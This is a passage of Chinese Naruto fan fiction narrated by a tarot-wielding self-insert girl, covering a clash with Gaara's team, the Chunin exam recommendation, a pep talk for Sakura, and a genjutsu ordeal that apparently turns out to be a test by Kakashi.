“喏,拿着。如果真的觉得很难过很难过……那就把这份难过变成力量吧。让自己变得更强,强大到足以守护自己珍视的一切。这样,那些让你心痛的话,就再也不能伤害你了。” 我顿了顿,声音带着一丝不易察觉的感慨 “当然,这只是我自己的理解……选择权在你手里。” 我刚想迈步走向鸣人那边,衣袖却被轻轻拉住了。回头,只见小樱握着我的手帕,眼眶虽然还有些泛红,但里面的泪水已经消失无踪。取而代之的是一种前所未有的坚定光芒,如同破开乌云的晨曦。 她定定地看着我,仿佛被我刚才的话语点燃了内心的火焰,又或者……是别的什么力量在支撑着她(说实话,看到她眼神的变化,我心底悄悄松了口气。还好还好,她似乎没把我当成情敌。虽然顶着和他们一样的年纪,但内核……咳,好吧,也许只是稍微成熟了那么一点点?真的没大多少!)。 我回握住她的手,拉着她一起走向喧闹的中心。木叶丸这才注意到我,立刻眼睛一亮,大声喊道 “大姐头!” 同时再次摆出那个标志性的“帅气”姿势——不得不说,跟在鸣人身边久了,这小子的神态动作真是越来越有鸣人的风范了。萌黄和乌冬也乖巧地跟着喊 “大姐头好!” 我忍不住笑起来,伸出手,挨个在他们三个毛茸茸的小脑袋上揉了揉,给予“爱”的抚摸。 虽然平时对闹腾的小鬼头们有点敬而远之,但面对这样礼貌又带着点崇拜的小家伙,那份纯粹的亲近感,真的很难拒绝。 鸣人站在一旁看着,嘴角突然向下撇了撇,脸上飞快地掠过一丝不易察觉的不高兴,但随即又被他夸张的笑容掩盖过去,快得像从未出现过。 木叶丸的目光在我和小樱之间转了转,又看看鸣人,小脸上露出恍然大悟的表情。他贼兮兮地凑到鸣人身边,伸出小拇指(在日本文化中,小指常用来暗指情人或女友),一脸促狭地问:“大哥,这位漂亮的大姐姐……是不是你的……这个?” 他晃了晃那根小拇指。 这突如其来的“指认”让小樱瞬间涨红了脸,又羞又恼。鸣人这家伙却像是被踩了尾巴,反应异常激烈,几乎是脱口而出:“当然!” 然而,在他喊出这句话的瞬间,他的视线却像是不受控制般,极其快速地、带着一丝慌乱地朝我这边瞟了一眼。 可惜,我的注意力完全被木叶丸那个大胆的手势吸引住了,根本没捕捉到他那一闪而逝的目光。紧接着,“砰!”一声闷响,鸣人就被恼羞成怒的小樱一记羞愤的铁拳直接打飞了出去,在空中划出一道短暂的弧线。 “大哥!” 木叶丸担忧地看着摔在地上的鸣人,眼中的“八卦”之光瞬间熄灭,转而燃起愤怒的火焰,恶狠狠地瞪向小樱,仿佛她是什么十恶不赦的敌人。 好在,小樱大约是看在我的面子上,这一拳虽然听着响,但力道控制得还算“温柔”(当然,对鸣人来说肯定不温柔)。鸣人只是在地上狼狈地翻滚了两圈,就龇牙咧嘴地爬了起来。我象征性地板起脸训斥了鸣人两句 “喂,鸣人,别乱说话!” 然后又赶紧安抚气得胸口起伏的小樱 “小樱别生气,这家伙脑子缺根筋,说话不过脑子,你大人有大量,别跟他一般见识。” 木叶丸却彻底被激怒了,护主心切的他小脸涨得通红,眼看“丑八怪”三个字就要冲口而出!我眼疾手快,一个箭步上前,及时捂住了他的小嘴。“嘘——!” 我对他使了个眼色,压低声音 “女孩子生气的时候,千万别火上浇油,尤其别乱叫难听的外号!那是自寻死路!” 好不容易把小樱这头快要爆发的“母狮”安抚得稍微平静了一些,木叶丸、萌黄、乌冬这三个小鬼头又凑在一起,自以为隐蔽地对着小樱的背影指指点点,嘀嘀咕咕说着悄悄话。虽然听不清内容,但那神态和动作,明摆着不是什么好话! 下一秒,小樱的身体骤然僵住!一股肉眼可见的、令人毛骨悚然的黑色低气压瞬间以她为中心爆发开来!她极其缓慢、极其僵硬地转过头,那张原本清秀可爱的脸蛋此刻仿佛笼罩在阴影里,嘴角咧开一个极其“核善”的恐怖笑容,眼睛在阴影中闪烁着骇人的红光!那感觉,简直像是从地狱最深处爬出来的索命恶鬼! “咕咚……” 连我都忍不住咽了口唾沫,后背窜起一股凉气,身体不自觉地打了个寒颤。 就在这时,“哎呀!”一声惊叫伴随着碰撞声传来。我们循声望去,只见木叶丸因为刚才跑开想“告状”,慌不择路,一头撞在了一个人身上!而那个人…… 等下!那是我爱罗小队的人! 勘九郎被撞得一个趔趄,顿时火冒三丈,一把揪起木叶丸的衣领,将他像小鸡仔一样提离地面,语气凶狠 “喂!小鬼!走路不长眼睛吗?!” “对、对不起!非常抱歉!” 小樱瞬间从“恶鬼”状态切换回来,急忙上前一步,深深鞠躬道歉,语气充满歉意 “是我们没看好孩子!请您原谅他,把他放下来好吗?” 鸣人看到自己新收的小弟被这样粗暴对待,一股无名火“噌”地直冲头顶。他冲上前,指着勘九郎怒道 “喂!他都道歉了!快把木叶丸放下来!” 然而,勘九郎似乎根本没把小樱的道歉和鸣人的警告放在眼里,或者说是对我们这些“木叶下忍”充满了轻蔑。他不仅没松手,揪着木叶丸衣领的手指反而更加用力了!木叶丸的小脸因为衣领勒紧和恐惧而憋得通红,手脚在空中无助地乱蹬。 “混蛋!” 鸣人彻底被激怒了,热血上涌,不管不顾地挥拳就朝勘九郎冲了过去!他脑子里只有一个念头:教训这个欺负他小弟的家伙! 然而,实力的差距是残酷的。勘九郎甚至没怎么挪动脚步,只是嘴角勾起一丝不屑的冷笑,空闲的那只手看似随意地在身前动了两下。几根几乎看不见的查克拉线瞬间缠绕上鸣人的脚踝! “噗通!” 鸣人只觉得脚下一绊,身体完全失去平衡,以极其狼狈的姿态重重摔趴在地上,啃了一嘴的泥土,疼得他龇牙咧嘴。 看着鸣人像破麻袋一样摔倒在地,一股强烈的怒意瞬间涌上我的心头。虽然确实是木叶丸莽撞撞人在先,我们也道歉了,对方原不原谅是他的自由。但是!这种毫不掩饰的轻蔑和刻意刁难的态度,以及鸣人受辱的画面,让我感到极其不爽!一股冰冷的战意开始在我血液里奔涌。 我的手指悄然滑进腰间的忍者包,触碰到那叠温润而充满神秘力量的塔罗牌。心中默念:“指引我吧,教皇。” 指尖传来一阵微弱的牵引感。下一秒,一张牌被我精准地抽出——『审判』!牌面上天使吹响号角,唤醒沉睡灵魂的画面在阳光下闪过一道微光。 没有丝毫犹豫,我将这张代表着“因果裁决”、“最终定论”的牌猛地掷向勘九郎脚边的地面! “啪嗒!” 牌身轻触泥土的瞬间,一股无形的、沛然莫御的重压骤然降临!仿佛天空塌陷了一角,精准地笼罩在勘九郎身上! “唔啊!” 勘九郎猝不及防,只觉得一股无法抗拒的巨力从头顶压下,双腿一软,“砰!”地一声巨响,整个人被狠狠地拍进了地面!尘土飞扬!而他揪着木叶丸的手也因这突如其来的重压而瞬间松开。 木叶丸借着这股惯性,咕噜噜地滚到了勘九郎的身上,但他反应极快,在勘九郎还处于被砸懵的状态、没回过神时,像只受惊的小兔子,手脚并用地飞快爬起,一溜烟躲到了我的身后,小手紧紧抓住我的裤腿,一双大眼睛警惕又带着后怕地死死盯着地上那个刚才还凶神恶煞的家伙。 “大哥……” 木叶丸心有余悸地瞥了一眼还趴在地上揉屁股的鸣人,小声嘀咕 “……你还不如大姐头厉害呢……” 这句话像根小针,精准地扎在了鸣人的自尊心上,他的脸瞬间涨得更红了。 “咳咳……呸!” 勘九郎灰头土脸地从地上挣扎着爬起来,剧烈的咳嗽着,吐出嘴里的泥土。他看向我的眼神充满了暴怒和难以置信的羞辱感。 短短时间内被一个小鬼(在他眼里)用诡异的方式戏耍了!这简直是奇耻大辱!他一把扯下背后用绷带缠裹得严严实实的东西,杀气腾腾 “我最讨厌的就是你这种不知天高地厚的小鬼了……看来得给你点真正的教训!” “喂,勘九郎!” 手鞠见状急忙出声阻止,语气带着一丝紧张 “你疯了吗?现在就要在这种地方用『乌鸦』?!” 然而,勘九郎的怒火已经烧毁了理智。他猛地扯开绷带,露出了里面狰狞傀儡的一部分关节…… “啪!” 就在这千钧一发之际,一颗不起眼的小石子如同子弹般破空而来,精准无比地击打在勘九郎正要发力操控傀儡的手腕上! “呃!” 勘九郎吃痛,手腕一麻,刚刚解封的『乌鸦』还没拿稳,“哐当”一声掉在了地上。他捂着手腕,剧痛和再次被阻挠的狂怒让他额角青筋暴跳。他猛地抬头,恶狠狠地瞪向石子飞来的方向——只见佐助不知何时已悄然立在旁边的树枝上,双手插兜,居高临下地俯视着下方,眼神冰冷而充满警告。 “又来一个小鬼?!” 勘九郎简直要气疯了,一天之内连续在两个木叶小鬼手上吃瘪,这让他的骄傲碎了一地。 我们这边也立刻进入战斗状态。我护住身后的木叶丸和小樱,手指再次按在塔罗牌上;鸣人忍着疼跳起来,迅速结印;小樱也握紧了苦无,眼神紧张。 剑拔弩张的气氛如同拉满的弓弦,一触即发! “勘九郎,住手。” 一个冰冷、稚嫩,却蕴含着不容置疑威严的声音,如同寒泉般骤然响起,打破了这令人窒息的僵持。 我们所有人,包括怒火中烧的勘九郎,都不由自主地循声望去。 只见更高处的树杈上,我爱罗静静地倒悬在那里。他双手抱胸,那双毫无感情、如同荒漠般死寂的青绿色眼眸冷冷地扫过下方混乱的场面,最终定格在勘九郎身上。那眼神里没有任何波澜,只有纯粹的冷漠,以及一丝令人脊背发寒的、仿佛渗入骨髓的杀意。 “你以为我们这么大老远来到这里,是为了什么?” 他的声音毫无起伏,却像重锤敲在勘九郎心上。 勘九郎浑身一僵,脸上的怒容瞬间被惊恐取代,结结巴巴地解释 “我、我爱罗……是他们先惹事,那个小鬼撞到我,还有她……” 他指着我,试图辩解。 “我们道歉了。” 我适时地开口,声音清晰而冷静,迎着勘九郎怨毒的目光和我爱罗冰冷的审视 “虽然原不原谅是你的自由。但是,” 我刻意停顿了一下,目光扫过狼狈的勘九郎和我爱罗,带着一丝恰到好处的嘲讽 “在我们木叶的地盘上,对一个已经道歉的孩子不依不饶,甚至对一个前来劝阻的同伴出手……这种行为,确实如我这位同伴刚才所说,” 我微微扬起下巴,指向树上的佐助 “真·是·太·丢·脸·了。” 或许是掌握塔罗牌后带来的力量感让我内心悄然滋长了一丝狂妄,又或许是对同伴受辱的愤怒让我暂时忘却了恐惧,我竟然敢对着那个杀人不当回事的我爱罗和他的人说出这样的话。 “闭嘴。” 那冰冷的两个字如同冰锥刺来,不知是冲着我,还是冲着还在试图辩解的勘九郎。我识趣地抿紧了嘴唇,不再言语。勘九郎则被我爱罗那毫无温度的目光看得冷汗涔涔,哪里还敢瞪我,慌忙低下头,声音带着颤抖 “对、对不起!我爱罗!是我冲动了!” 我爱罗的目光在我们几人身上缓缓扫过,最终,那毫无生气的瞳孔落在了我们身上 “真是……对不起你们了。” 他的道歉毫无诚意,更像是一种冰冷的陈述。话音未落,他的身体如同流沙般散开,瞬间又在不远处的地面上凝聚成型 “走了。” 他催促着手鞠和勘九郎,声音不容置疑。 小樱看着他们即将离开,从我身后跑出来,对着我爱罗的背影大声质问 “等等!你们是砂隐村的忍者吧?为什么会出现在我们木叶村?” 手鞠停下脚步,叹了口气,转过身,用一种“你们果然什么都不知道”的眼神看着我们,带着一丝优越感从怀里掏出了一份盖着两国印章的文件 “我们是来参加中忍选拔考试的。” 她晃了晃手中的通行证 “看清楚了,是合法入境的。” “中忍考试?那是什么?” 鸣人一脸茫然地挠着头,显然对这个词毫无概念。 “笨蛋大哥!” 躲在我身后的木叶丸小声提醒 “就是选拔中忍的考试啊!很厉害的!” “哦!” 鸣人这才恍然大悟。我看着他这副样子,无奈扶额。下次卡卡西老师讲课,绝对不能让他再睡着了! 这时,佐助也从树上跳了下来,稳稳落地。他的目光锐利如鹰,紧紧锁住我爱罗即将远去的背影,沉声开口 “喂,你叫什么名字?” 我爱罗的脚步顿住,缓缓转过身。那双青绿色的眼眸如同深不见底的寒潭,毫无感情地回视着佐助,里面似乎翻涌着某种难以言喻的兴趣和……嗜血的渴望。他冰冷的声音在寂静的林间响起 “砂瀑,我爱罗。我对你……” 他的目光微微偏移,扫过我,那眼神带着审视和一丝探究的意味, “……还有刚才出手的那个人,都稍微有点兴趣。你的名字?” “宇智波佐助。” 佐助毫不畏惧地报上名号,眼神同样锐利而充满挑战。 两个同样骄傲、同样背负着沉重过去的少年,隔着一段距离沉默地对视着。空气仿佛凝固了,连风都停止了流动。无形的气场在两人之间碰撞、挤压,卷起几片枯叶打着旋儿落下,为这短暂的寂静增添了一触即发的紧张感。 我爱罗的目光再次停留在我身上,似乎在等我报上名字。我微微蹙眉,说实话,我并不想告诉他。在木叶,即使是鸣人他们,也只知道我是“旁听生”而已。 好在,鸣人比我更沉不住气,他跳出来,指着自己的鼻子,带着点不服气地大声问 “喂!那个背葫芦的!你不想知道我的名字吗?” 我爱罗的目光淡漠地掠过鸣人,仿佛在看路边的石子,只留下冰冷的一句 “没兴趣。” 随即不再停留,带着手鞠和勘九郎,身影很快消失在林荫深处。 直到那令人压抑的沙暴气息彻底远去,鸣人才像泄了气的皮球,一屁股坐在地上,神情有些沮丧。他看向身边的木叶丸,闷闷地问 “喂,木叶丸,我真的……很弱吗?” 木叶丸歪着小脑袋,认真地思考了一下,然后诚实地回答 “嗯……和大姐头比,还有和那个佐助哥比,大哥你确实……还差那么一点点啦。” “佐助哥”三个字像火星掉进了油桶!鸣人刚刚平息的怒火“腾”地又燃了起来!不久前才和佐助闹了别扭,刚才又眼睁睁看着佐助在勘九郎面前露脸(虽然只是丢了个石子,但在鸣人眼里就是出风头),现在连自己新收的小弟都说他比佐助弱?! “大姐头比我厉害我认了!” 鸣人猛地从地上跳起来,冲着佐助离开的方向挥舞着拳头,像只炸毛的狮子,发出不甘的咆哮 “但是为什么还要提佐助那个混蛋啊!佐助——!你给我等着!我漩涡鸣人,是绝对不会输给你的!!!” 佐助早已走远,自然听不到他的宣战。只有小樱一脸无语地看着突然发疯的鸣人 “喂!鸣人!你突然搞什么啊!” 又是一日清晨,阳光透过窗户,在地板上投下温暖的光斑。卡卡西老师昨天突然一脸神秘地宣布,今天有“非常重要的事情”要宣布,要求我们第二天务必“早早”到集合点。然而,历史总是惊人地相似——每一次他自己都会迟到!这种“狼来了”的把戏,真是让人哭笑不得。 “啊啊啊!要迟到了!旁听生!快点快点!” 早上睡过头的鸣人如同屁股着了火,手忙脚乱地从床上滚下来,抓起桌上的三明治胡乱塞了几口,连牛奶都顾不上喝,一边往嘴里塞,一边含糊不清地催促着。衣服扣子扣歪了,裤脚一长一短,鞋子也趿拉着没提好,整个人看起来像刚从台风现场逃出来。 “急什么,卡卡西老师哪次不迟到?” 我慢条斯理地端起桌上那杯新买的、还在保质期内的牛奶,悠闲地喝了一口,顺手整理好自己的护额和忍具包,才走到门口。 看着鸣人这副狼狈样,我叹了口气,认命地蹲下身,替他把一长一短的裤脚仔细地挽好、对齐,又帮他把皱巴巴的衣领翻好、扣子扣正。刚直起身,就被心急火燎的鸣人一把抓住手腕,拖着就往门外狂奔。 “快跑啊——!” 结果自然是毫无悬念的——我们又双叒叕迟到了! 在我们对着空无一人的训练场,第N次抱怨卡卡西老师的“人生迷路论”,以及鸣人哀嚎着“为了赶路连脸都没洗”时,那阵熟悉的、带着慵懒气息的白烟终于出现了。 “哟,大家早啊。” 卡卡西老师从烟雾中现身,招牌式地挠着他那头银发 “抱歉抱歉,今天在人生的十字路口,遇到了一位迷路的老婆婆,她要去隔壁镇看望刚出生的孙子,方向感不太好,我就稍微……嗯,送了她一程。” 他语气轻松,仿佛在说一件理所当然的事情。 这种借口,真是百试不爽,让人连吐槽的力气都没有了。 好在,他终于步入了正题。他从怀里掏出四份卷轴,递到我们面前,表情难得地带上了一丝郑重 “好了,言归正传。我今天要宣布的重要事情就是——我决定,推荐你们第七班,参加即将举行的中忍选拔考试。” “中忍考试?!” 鸣人第一个叫出声,眼睛瞪得溜圆,充满了惊讶和……一丝跃跃欲试。 小樱也捂住了嘴,眼神中既有期待也有忐忑。佐助则依旧面无表情,但握着卷轴的手指微微收紧,泄露了他内心的波澜。 我接过那份属于自己的申请书,指尖传来纸张特有的微凉触感。看着上面“推荐下忍:旁听生”的字样,一阵强烈的恍惚感瞬间攫住了我。仿佛昨天才刚刚在伊鲁卡老师欣慰的目光中,磕磕绊绊地通过毕业考试,成为下忍。而今天,这份通往更高层级的申请书,就这样真实地握在了手中。 我……居然真的走到了这一步?成为了被这个世界认可,有资格参加中忍考试的一员?这份认知带来的冲击,让我心脏在胸腔里擂鼓般狂跳起来。 太……不可思议了! 卡卡西老师仿佛看穿了我们的心思,补充道 “当然,这不是强制性的。参不参加,完全取决于你们自己的意愿和判断。” 他的目光在我们四人脸上一一扫过 “想参加考试的家伙,就在这份申请书上签上你们的名字。五天后的下午三点,准时到忍者学校的三零一教室集合报到。” 说完,他仿佛完成了什么重大任务,恢复了那副懒洋洋的模样,甚至还带着点俏皮地对我们挥了挥手。 “嘭!” 一阵白烟过后,原地只剩下我们四个面面相觑的身影。 回去的路上,气氛有些微妙。佐助几乎没有任何犹豫,拿出笔就在申请书上签下了自己的名字,动作干脆利落,眼神坚定。鸣人虽然嚷嚷着“中忍考试?听起来很有趣嘛!”,但签名的动作也毫不含糊,带着他一贯的热血和不服输。 而我,目光落在“旁听生”三个字上,又看了看身边眼中燃烧着斗志的鸣人。为了保护这个总是横冲直撞的笨蛋弟弟,为了能在他身边,在他需要的时候拉住他……这场考试,我必须参加!我深吸一口气,郑重地签下了自己的名字。 只有小樱,她紧紧攥着那份申请书,指节微微泛白。秀气的眉毛紧锁着,漂亮的绿眼睛里充满了挣扎、犹豫,还有……一丝难以掩饰的恐惧。她低着头,步履显得有些沉重。 我默默地走到她身边,伸出手,轻轻拍了拍她的肩膀。想说点什么安慰的话,却发现言语在此刻显得如此苍白。 最终,我只是用力地点了点头,用眼神传递着我的信任和支持——就像在波之国那座绝望的桥上,即使她自己也怕得要命,却依然死死拉住我的手,用颤抖的声音让我冷静下来的小樱,才是最坚强、最值得信赖的伙伴。 小樱抬起头看向我,眼神里充满了无奈和迷茫,还有那丝挥之不去的……害怕。像一只受惊的小鹿,让人心疼。 我轻轻地牵起她微凉的手,放慢了脚步,渐渐落在鸣人和佐助身后几步。这条熟悉的路,此刻似乎变得格外漫长。我用只有我们两人能听清的声音,温柔地问 “是在担心中忍考试吗?害怕……那些未知的对手?” 她没有说话,只是更紧地回握了一下我的手,默认了。 我轻轻将头靠在她瘦削的肩膀上,感受着女孩子之间特有的亲昵和依靠带来的温暖 “我理解的,小樱。” 我的声音很轻,像羽毛拂过 “如果换做是我,想到要面对那么多来自各国的厉害家伙,想到可能会在佐助君面前……出丑、失败,甚至受伤……” 我顿了顿,仿佛也在感同身受那份压力 “光是想象一下那个场景,就觉得心脏快要从嗓子眼里跳出来了……” “不过……” 我适时地转移话题,不让她的思绪完全被对佐助的担忧淹没。我直起身,侧过脸,认真地注视着她有些躲闪的眼睛,语气变得明亮而充满肯定 “你知道吗?小樱,我特别特别佩服你两点!” 她疑惑地看着我。 “第一,” 我竖起一根手指, “是你那份扎实到可怕的理论知识功底!卡卡西老师讲解的那些复杂忍术原理、结印顺序、查克拉性质变化,还有那些枯燥的忍界历史、地理、草药学……你总是第一个听懂、吃透,甚至还能举一反三!这份聪明劲儿,这份对知识的掌握能力,在中忍考试里绝对是横扫千军的秘密武器!整个年级,不,整个木叶下忍里,我都找不出第二个比你更厉害的了!” 看着小樱眼中闪过一丝光亮,我立刻竖起第二根手指,语气更加热切 “第二,是你那精细到不可思议的查克拉控制力!天哪!每次看你练习爬树、踩水,或者进行忍术的初步练习时,那份操控查克拉流动的精准度和稳定性,简直就像艺术家在雕刻一件完美的艺术品!这份细腻和专注,是天赋,更是你刻苦练习的成果!这可不是谁都能做到的哦!” 我凑近一点,压低声音,带着点神秘兮兮 “我敢打赌,连卡卡西老师私下里都夸过你这点!” 我轻轻捏了捏她有些冰凉的手心,试图将更多的温暖和力量传递给她 “你的闪光点,比你自己以为的要多得多!也耀眼得多!只是你太在意别人的看法,尤其是……” 我适时地收住了佐助的名字 “反而忽略了自己身上的光芒。” “还记得波之国吗?” 我再次提起那个共同经历生死的地方,声音带着回忆的暖意和感激 “当时我也像现在这样,害怕、冲动,脑子里一片空白,只想着往前冲……是你,小樱,是你那么害怕却依然坚定地握住了我的手,用你的冷静和话语稳住了我。‘别慌,旁听生,别冲动,卡卡西老师会没事的,我们要相信他。’ 你的声音,你的手,在那个时刻,就是我的锚点。” 我注视着她的眼睛,一字一句,清晰而有力 “所以,小樱,害怕没关系,这很正常。但别让这份害怕遮住你自身的光芒!相信自己,就像我相信你一样!考完试,我们一起去吃三色丸子吧?我请客!” 我努力扬起一个灿烂的笑容,试图驱散她眼中的阴霾 “毕竟,我可是在提前投资未来的‘木叶第一女忍者’呢!我看好你!绝对看好!” 小樱怔怔地看着我,眼眶再次泛红,但这一次,那里面翻涌的不再仅仅是恐惧和失落,似乎多了一些别的、更明亮的东西。她张了张嘴,似乎想说什么,最终只是用力地、重重地点了点头,反握我的手也收紧了些许。 …… 距离中忍考试只剩下两天的时间了。这两天,我除了按部就班地训练,脑子里也一直在反复掂量着“参不参加”这个问题。一些模糊的记忆碎片偶尔闪过——似乎记得原著里还有个什么预备考试?但具体的细节却像蒙了一层雾,怎么也想不清晰。 一个更关键的念头压了下来:如果我选择放弃,那么第七班的所有人,都将失去参加中忍考试的资格。卡卡西老师的推荐,是以整个小队为单位的。 我低头,看着手中那份已经被我签上名字的申请书。纸张的边缘因为反复摩挲而有些微卷。指腹划过自己的名字,那份最初的恍惚感再次袭来,但很快被一种更为坚定的决心取代。 刚才还在心头盘旋的犹豫和不安,如同被阳光驱散的薄雾,瞬间消散无踪。 管他呢!我在心底对自己呐喊。毕业考试那么艰难,我都挺过来了!波之国那种真刀真枪、命悬一线的战场,我也活着回来了!难道还怕一个小小的中忍考试吗?!反正……我知道后续的大致剧情走向。只要确保自己死不了……那我就豁出去,拼尽全力,去改变那些我不愿意看到的结局!比如……很多重要伙伴的牺牲! 夕阳熔金,将木叶染成一片温暖的琥珀色。我抄了一条僻静的小路回家,想避开主街的喧嚣,整理一下纷乱的思绪。短册街的这条岔路行人稀少,只有风吹过老旧木檐发出的轻微呜咽声。 就在我转过一个堆满废弃木桶的拐角时—— 异变陡生! 一股冰冷、粘稠、带着强烈恶意的查克拉毫无征兆地从头顶笼罩下来!如同实质的黑暗,瞬间隔绝了夕阳的暖意!空气仿佛凝固了,带着铁锈和腐朽尘埃的味道直冲鼻腔! “谁?!” 我厉喝出声,全身肌肉瞬间绷紧,手已经闪电般探向腰后的忍者包!这不是卡卡西老师的气息!这种阴冷、扭曲、充满不祥的感觉……是敌人! 然而,我的动作还是慢了一拍。 视野如同被投入滚烫油锅的水滴,剧烈地扭曲、沸腾!脚下坚实的石板路仿佛变成了流沙,身体不受控制地下陷!周围的木桶、墙壁、夕阳……所有景象都在飞速旋转、拉伸、变形,被拉扯进一个光怪陆离的漩涡! “幻术?!” 惊骇瞬间攫住了心脏!不是卡卡西老师那种带着审视和引导的测试,这是纯粹的、充满恶意的攻击性幻术! 眼前不再是木叶的街巷,而是一片巨大、压抑、布满扭曲金属管道和崩塌岩石的废墟!昏暗中只有几点幽绿的光点闪烁,如同鬼火。空气里弥漫着浓重的血腥味和……一种深入灵魂的绝望! “咳……呃啊……” 一个痛苦到极致的、压抑的呻吟声撕裂了死寂。那声音仿佛带着钩子,狠狠刺入我空白的记忆深处! 循声望去,心脏骤然停跳! 就在不远处一块巨大的、染血的岩石下,压着一个身影!一只手臂扭曲变形,那眉骨上的伤痕,那紧抿的嘴角……一种源自灵魂深处的、无法言喻的剧痛和灭顶的悲伤瞬间淹没了我的意识! “……!” 我随口念出一个名字,如同禁忌的咒语,带着撕裂般的剧痛脱口而出!他是谁?为什么看到他濒死的模样,我的心会痛得像被生生剜掉一块?巨大的空洞感和无法挽回的绝望感几乎将我吞噬!身体不受控制地就要扑过去,仿佛那是生命中最重要的部分正在流逝! 脚下的废墟轰然崩塌!场景如同破碎的镜面般切换! 刺目的阳光!熟悉的训练场!波光粼粼的水塘边缘……还有那个倒在岸边、金发被鲜血浸透、胸口赫然插着一柄苦无的少年! “鸣人——!!!” 比刚才更尖锐、更真切的恐惧如同冰锥刺穿颅骨!带土的痛苦还在灵魂深处回荡,而眼前鸣人正在“死去”的景象,则像一把烧红的烙铁,狠狠烫在神经最脆弱的地方! “姐……” 他涣散的湛蓝色眼睛艰难地转向我,嘴唇无声地翕动,那眼神里充满了痛苦、依赖和……诀别! “不——!!” 所有的理智、所有的思考、所有的塔罗牌都被这灭顶的恐惧彻底碾碎!身体的本能再次咆哮着主宰了一切!什么敌人!什么幻术!什么后果!我只想抓住他!救他!哪怕用自己的身体去挡住那致命的苦无!我像一头失去幼崽的野兽,发出凄厉的悲鸣,不顾一切地朝着那个倒下的身影狂奔! 就在我指尖即将触碰到鸣人染血的衣襟,那冰冷的绝望几乎要将我彻底冻结—— 黑发少年濒死的喘息和鸣人无声的呼唤,如同两股最狂暴的洪流,在我脑中疯狂对冲、撕扯! 痛苦的脸……鸣人胸口中汩汩流血的伤口…… 深入骨髓的遗恨……近在咫尺的恐惧…… 两种同样撕心裂肺的痛苦交织、放大,如同无数把钝刀在反复切割神经!我该救谁?我能救谁?巨大的撕裂感和无力感如同冰冷的铁箍,死死勒住我的心脏和喉咙,精神被拉扯到极限,发出不堪重负的哀鸣,眼前阵阵发黑,几乎要彻底崩溃! “呃啊——!” 我痛苦地蜷缩在地,双手死死抠进“地面”(冰冷的岩石触感如此真实),指甲断裂渗出鲜血也浑然不觉。泪水混合着冷汗疯狂涌出,喉咙里发出嗬嗬的、不成调的嘶吼。这不是测试!这是酷刑!是敌人要将我的精神彻底摧毁! 就在这精神即将彻底崩断、坠入无尽黑暗的深渊边缘,忍者包深处,一股微弱却无比灼热、带着凛然正气的力量,如同火山深处喷薄而出的熔岩,骤然穿透了幻境的冰冷壁垒! 是塔罗牌!是『权杖一』牌在震怒!它在宣告击溃,炽烈的火元素燃烧着我的心口 这股突如其来的灼热感,如同在濒死之人胸口注入了一剂强心针!一个冰冷而残酷的念头,如同闪电般劈开混乱的迷雾 “敌人……这是敌人的攻击!他想摧毁我!” “破绽!找出破绽!” 求生的本能和对同伴的守护欲在绝境中爆发出最后的力量!我用尽全身力气,猛地抬起头,布满血丝的眼睛死死盯住近在咫尺的“鸣人”! 泪水模糊,但我用意志力强行聚焦: 伤口,那苦无刺入的位置……精准得可怕!和卡卡西老师波之国受伤的位置分毫不差!这太刻意了!鸣人怎么可能受一模一样的伤?! 眼神,鸣人涣散的蓝眼睛里……那抹熟悉的、永不熄灭的火焰呢?那种即使濒死也要咬紧牙关的倔强呢?没有!只有空洞的、被设定好的“痛苦”! 环境训练场的水面……平静得像一块死气沉沉的玻璃!没有风,没有鸟鸣,没有鸣人平时训练留下的任何痕迹!这根本不是鸣人存在的世界! 与此同时,黑发少年那边的景象也开始剧烈波动,如同信号不稳的投影,细节模糊扭曲,唯有那股源自记忆深处的、沉重的哀伤依旧真实,却更像是背景的噪音,而非眼前的致命威胁! “假的……都是假的!幻术!” 一个嘶哑的、如同砂纸摩擦般的声音从我喉咙深处挤出,带着劫后余生的战栗和滔天的愤怒!是敌人!有人在用幻术攻击我!目标是我的精神核心! “给我破——!” 积攒的所有痛苦、愤怒、恐惧和不甘,在这一刻化作了冲破桎梏的咆哮!我猛地闭上眼,不再受那虚假景象的蛊惑!忍者包里的『权杖一』牌瞬间变得滚烫无比,仿佛要灼穿布料!它不再仅仅是引导,而是化作了愤怒的号角! 我并非结印,而是将濒临崩溃的精神力与『权杖一』牌那愤怒力量强行融合,化作一柄无形却锋锐无匹的精神之矛,带着我所有的意志,狠狠刺向这恶意幻术的核心! 嗤啦——! 仿佛布帛被撕裂的声音在精神层面炸响!眼前的景象如同脆弱的琉璃,瞬间布满蛛网般的裂痕!黑发少年的哀鸣、鸣人染血的身躯、冰冷的废墟、虚假的训练场……所有的一切都在刺耳的碎裂声中轰然崩塌、消散! 真实的、带着暮色的阳光重新洒落,带着劫后余生的暖意。我依然蜷缩在短册街那个堆满废弃木桶的僻静角落,夕阳的余晖将我的影子拉得又细又长。冷汗浸透了衣衫,紧贴在冰冷的皮肤上,身体因为脱力和精神冲击而剧烈颤抖,手指因为刚才的抠挖而火辣辣地疼,渗着血丝。泪水混合着冷汗还在不停地流,视线一片模糊。 “呼……呼……” 我大口大口地喘着粗气,如同离水的鱼,心脏狂跳得像是要炸开,残留的剧痛和恐惧感如同跗骨之蛆。刚才那深入骨髓的绝望和撕裂感,尤其是关于“黑发少年”的那种源自记忆深处的剧痛,依旧清晰得让人窒息。 就在这时,一个懒洋洋的声音从头顶上方传来。 “哎呀呀,真是狼狈啊,旁听生。” 我猛地抬头,泪水模糊的视线中,卡卡西老师不知何时已经蹲在了旁边一个废弃木桶上,依旧是那副没睡醒的样子,手里甚至还拿着那本《亲热天堂》。但他那只露出的眼睛,此刻却异常明亮,带着一种洞悉一切的平静,甚至……一丝难以察觉的凝重和后怕。 “卡……卡卡西老师?” 我的声音沙哑得不成样子,带着劫后余生的茫然和巨大的困惑。他怎么会在这里?刚才那可怕的幻术……难道是…… 卡卡西老师合上书,从木桶上轻盈地跳下来,走到我面前。他蹲下身,视线与我平齐,那只露出的眼睛仔细地扫过我狼狈不堪、泪痕交错的脸,以及我还在微微颤抖的手指。 “能自己挣脱出来,还算不错。” 他的语气听不出太多情绪,但目光落在我渗血的手指上时,微微顿了一下。 “比我想象的要快一点。” “刚才……那是……” 我喘着气,混乱的思绪渐渐回笼,一个难以置信的念头浮现出来 “……是您?” 卡卡西老师没有直接回答,只是抬手,用他那带着黑色手套、却意外温和的指尖,有些轻车熟路却又略带停顿地拂开我黏在额前被冷汗浸湿的头发。 “感受到‘敌人’的恶意了?” 他低声问,声音带着一丝不易察觉的紧绷 “那种……想要彻底摧毁你精神核心的恶意?” 